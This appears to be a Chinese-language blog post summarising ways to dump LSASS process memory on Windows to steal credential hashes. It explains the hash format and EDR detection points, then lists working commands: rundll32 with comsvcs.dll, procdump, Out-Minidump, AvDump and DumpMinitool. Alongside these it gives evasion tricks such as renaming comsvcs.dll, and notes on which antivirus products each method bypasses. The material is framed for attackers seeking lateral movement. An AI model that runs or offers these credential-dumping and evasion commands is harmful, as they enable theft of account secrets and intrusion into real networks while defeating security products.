dump lsass小结
字数 1918 2025-08-07 00:34:54
LSASS 进程内存转储技术详解与防御绕过方法
0x00 前言
凭证转储是攻击者用来破坏基础设施的最常用技术之一,通过窃取敏感凭证信息使攻击者能够在目标环境中进一步横向移动。本地安全机构子系统服务(lsass.exe)进程负责此操作,本文详细总结各种转储lsass进程内存的技术方法。
0x01 Windows Hash组成
Windows系统下的hash密码格式为:
用户名:RID:LM-HASH值:NT-HASH值
示例:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
解析:
- 用户名称:Administrator
- RID:500
- LM-HASH值:C8825DB10F2590EAAAD3B435B51404EE
- NTLM-HASH值:683020925C5D8569C23AA724774CE6CC
0x02 整体流程
- 使用
OpenProcess/NtOpenProcess调用打开lsass进程的PID,需要PROCESS_QUERY_INFORMATION和PROCESS_VM_READ权限 - 使用
MiniDumpWriteDump读取lsass的所有进程地址空间,并保存到磁盘文件
注:MiniDumpWriteDump严重依赖于NtReadVirtualMemory系统调用来读取远程进程的内存
相关API文档:
0x03 常见检测点与绕过方法
检测点1:OpenProcess/NtOpenProcess调用
Windows内核允许驱动程序为进程句柄操作注册回调例程,通过ObRegisterCallbacks实现,使用以下结构:
OB_CALLBACK_REGISTRATIONOB_OPERATION_REGISTRATION
OB_OPERATION_REGISTRATION结构允许直接从内核监视任何新创建/复制的进程句柄。
检测点2:NtReadVirtualMemory调用
EDR常用方法:
-
Inline Hooking拦截针对lsass进程的
NtReadVirtualMemory调用- 绕过方法:直接系统调用或unhooking技术
- 直接系统调用参考
- unhooking参考
-
ETW(事件跟踪)从内核接收函数调用通知
- 内核函数
EtwTiLogReadWriteVm用于跟踪NtReadVirtualMemory调用
- 内核函数
Bypass思路小结
-
进程快照法:
- 创建进程快照,使用快照句柄执行间接内存读取
- 在
MiniDumpWriteDump调用中使用快照句柄而非直接进程句柄 - 参考
-
句柄复制法:
- 重用已打开的lsass进程句柄,避免直接调用
OpenProcess
- 重用已打开的lsass进程句柄,避免直接调用
-
MirrorDump法:
- 加载任意LSA插件,从lsass进程复制句柄到转储进程
- 参考
0x04 命令执行方法
注意:需要使用powershell,默认cmd没有SeDebug权限
- 使用rundll32调用comsvcs.dll:
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump (Get-Process lsass).Id Test.dmp full
Wait-Process -Id (Get-Process rundll32).id
- 通过tasklist获取PID:
for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %B lsass.dmp full
- 直接指定PID:
powershell "rundll32 C:\windows\System32\comsvcs.dll, MiniDump 520 lsass.dmp full"
0x05 工具与方法详解
1. ProcDump(微软商店工具,已失效)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
2. SQLDumper.exe(微软签名工具,已失效)
3. comsvcs.dll(系统自带)
会被360、Defender拦截,可绕过火绒
权限要求:需要开启SeDebugPrivilege权限
- 管理员cmd:默认支持但禁用状态
- 管理员powershell:默认支持且启用状态
绕过方法:
copy C:\windows\System32\comsvcs.dll matrix.dll
rundll32.exe matrix.dll, MiniDump <PID> lsass.dmp full
4. createdump.exe(.NET5附带工具,已失效)
5. PowerSploit的Out-MiniDump.ps1
会被Defender拦截,可绕过火绒、360
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump
6. hashdump脚本
注意:cmd或双击hashdumpX64.exe只会生成0kb文件,必须通过PowerShell执行
7. mimidogz(PS版mimikatz,已失效)
Import-Module .\Invoke-Mimidogz.ps1
invoke-mimidogz
8. AvDump.exe(Avast自带工具)
绕过火绒
AvDump.exe --pid 1060 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
9. DumpMinitool.exe(Visual Studio附带LOLBIN)
绕过360、火绒、Defender
DumpMinitool.x86.exe --file 1.txt --processId 1060 --dumpType Full
0x06 项目推荐
- 绕过360、火绒、Defender
- 使用命令:
Malseclogon.exe -p [PID] -d 1 -o C:\path\to\output.dmp
- 需要管理员权限
0x07 注意事项
- mimikatz执行
sekurlsa::minidump时,dmp文件不必是标准格式,只要内存区域正确即可 - 各种工具的有效性会随安全产品更新而变化,需持续测试
- 优先使用带有合法签名的工具(如微软、Avast等)可提高成功率